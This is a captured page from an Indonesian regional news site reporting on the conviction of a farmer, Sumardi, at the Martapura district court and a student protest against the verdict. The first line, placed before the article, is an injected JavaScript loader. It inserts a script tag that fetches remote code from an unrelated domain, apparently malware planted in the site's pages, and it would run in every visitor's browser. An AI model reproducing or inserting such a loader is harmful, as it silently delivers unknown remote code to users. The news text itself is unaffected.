(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Petani Sumardi Divonis Bersalah, Mahasiswa Unjuk Rasa di PN Martapura


KANALKALIMANTAN.COM, MARTAPURA – Majelis hakim Pengadilan Negeri (PN) Martapura memberikan vonis hukuman bersalah kepada Sumardi (63), petani asal Desa Rantau Bakula, Kecamatan Sungai Pinang, Kabupaten Banjar, yang berkonflik dengan lahan dengan perusahaan tambang batu bara.

Dari ruang sidang Cakra 1 Pengadilan Negeri (PN) Martapura, Rabu (20/11/2024) siang, hakim memutus terdakwa Sumardi dengan vonis 5 bulan hukuman masa percobaan atas kasus pidana pengancaman di area tambang batu bara.

Atas putusan hakim itu, sejumlah mahasiswa yang tergabung dalam aliansi Badan Eksekutif Mahasiswa se Kalimantan Selatan melakukan unjuk rasa di halaman PN Martapura, Rabu (20/11/2024) siang.

Tepat di pinggir jalan A Yani, puluhan massa unjuk rasa menyampaikan orasi serta keresahan atas sikap aparat penegak hukum yang dirasa tak adil dalam memutus perkara ini.

“Untuk bertani saja di lahan kosong yang tidak dipakai malah dikriminilisasi,” ujar Paulus Alvius Blesia kordinator aksi. Mereka menginginkan hukum dalam negeri memihak kepada rakyat jelata. “Ini sama sekali tidak berdasar, tidak memanusiakan manusia,” tambahnya.

Baca juga: Vonis Berbeda Calo dan Mantri Korupsi Kredit Topengan Bank

Dalam nota pembelaaan terdakwa melalui kuasa hukum mengatakan bahwa petani kecil Sumardi murni tidak bersalah.

Kemudian dari amar dan subsider, mahasiswa meminta agar terdakwa dibebaskan tanpa bersyarat dengan pertimbangan usia hingga kondisi kesehatan terdakwa.

“Kami di sini menyampaikan keberatan atas putusan yang diputus hari ini,” ujar salah satu masa aksi, menyampaikan orasinya.

Baca juga: Pj Ketua TP PKK HSU Sampaikan Langsung Ucapan Selamat ke Ketua Umum TP PKK 2024-2029

Paulus Alvius Blesia bersama teman-temannya, berdiri di depan PN Martapura menegaskan keresahan terhadap ketidakadilan yang menimpa petani di Kalsel.

Mereka berharap kasus kriminalisasi petani seperti tidak terulang dimana pun, sebab tanpa petani masyarakat tidak bisa hidup.

Sumardi diputus bersalah karena dianggap meresahkan masyarakat dan melakukan pengancaman terhadap Mr Huang dalam unsur pasal 335 ayat 1 angka 1 KUHPidana. Oleh majelis hakim, Sumardi diputus hukuman masa percobaan selama 5 bulan kurungan penjara dipotong masa tahanan.

Baca juga: Hari Anak Sedunia, PLN Junior Tebar Kebaikan ke Rumah Anak Yatim Ar-Rohmah Banjarbaru

“Bahwa terdakwa tidak dilakukan penahan melainkan dirumahkan,” jelas Majelis Hakim Resdianto dalam sidang putusan. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.